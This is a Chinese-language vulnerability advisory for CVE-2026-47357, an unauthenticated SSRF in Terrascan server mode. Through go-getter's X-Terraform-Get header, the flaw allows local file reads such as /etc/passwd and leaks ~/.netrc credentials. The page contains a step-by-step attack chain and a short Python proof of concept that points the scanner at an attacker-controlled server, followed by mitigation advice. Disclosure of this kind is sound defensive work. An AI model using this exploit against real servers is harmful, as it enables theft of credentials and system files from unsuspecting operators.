IPBUF安全漏洞报告
English
CVE-2026-47357 CVSS 7.5 高危

CVE-2026-47357 Terrascan SSRF漏洞致信息泄露

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-47357
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Terrascan

相关标签

SSRFTerrascan信息泄露LFRCWE-918未授权访问

漏洞概述

Terrascan v1.18.3及更早版本在服务器模式下存在SSRF漏洞,未经身份验证的攻击者可利用此漏洞通过构造恶意的remote_url参数读取服务器本地文件。该问题源于对hashicorp/go-getter库的不当使用,允许利用X-Terraform-Get响应头重定向至file://协议。此外,漏洞还会导致~/.netrc文件中的凭证泄露。鉴于项目已归档,官方将不会修复该问题。

技术细节

该漏洞位于Terrascan的服务器模式接口中,主要因对第三方库hashicorp/go-getter的不安全调用所致。当攻击者向POST /v1/{iac}/{iacVersion}/{cloud}/remote/dir/scan端点发送请求时,若将remote_type设为http并提供攻击者控制的remote_url,系统会直接调用go-getter库处理请求。由于缺乏输入验证,攻击者的服务器可以返回带有X-Terraform-Get响应头的HTTP回复,将该请求重定向至file://协议(如file:///etc/passwd)。go-getter会解析此头并读取本地文件,导致服务器敏感信息泄露。此外,go-getter默认启用了Netrc支持,会自动读取用户主目录下的~/.netrc文件,并将其中的认证凭据发送给攻击者控制的主机。由于Terrascan服务器模式默认绑定0.0.0.0且无身份验证,任何远程攻击者均可利用此漏洞。

攻击链分析

STEP 1
侦察
攻击者发现目标网络上运行着未授权访问的Terrascan服务器实例(通常监听9010端口)。
STEP 2
漏洞利用触发
攻击者向/v1/.../remote/dir/scan端点发送POST请求,将remote_type设置为http,并将remote_url指向攻击者控制的服务器。
STEP 3
恶意重定向
Terrascan使用go-getter请求攻击者服务器的URL。攻击者服务器响应HTTP 200(或重定向),并包含X-Terraform-Get: file:///etc/passwd头。
STEP 4
本地文件读取
go-getter解析X-Terraform-Get头,并尝试读取本地文件系统中的指定文件(如/etc/passwd),造成信息泄露。
STEP 5
凭证窃取
由于go-getter启用了Netrc支持,它会读取~/.netrc文件,并将存储的凭证自动发送给攻击者控制的主机。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target: Terrascan Server (running in server mode) target_url = "http://target-host:9010/v1/terraform/v1/aws/remote/dir/scan" # Attactor controlled server that will serve the malicious redirect attacker_server = "http://attacker-controlled-server.com" # Exploit payload # The 'remote_type' must be 'http' to trigger the go-getter library payload = { "remote_url": attacker_server, "remote_type": "http" } print("[+] Sending malicious request to Terrascan...") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check attacker server logs for .netrc credentials.") else: print(f"[-] Request failed with status code: {response.status_code}") # Note: To achieve Local File Read (LFR), the attacker_server must respond # to the request with the following header: # X-Terraform-Get: file:///etc/passwd # This instructs the go-getter library to fetch the local file.

影响范围

Terrascan <= 1.18.3

防御指南

临时缓解措施
由于Terrascan项目已归档且官方确认不会发布补丁,建议立即停止在公网运行该服务。如果必须继续使用,应通过防火墙严格限制访问来源,仅允许本地回环或受信任的内网IP连接。同时,确保运行Terrascan的服务器账户的~/.netrc文件为空或不含任何敏感凭据,以防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表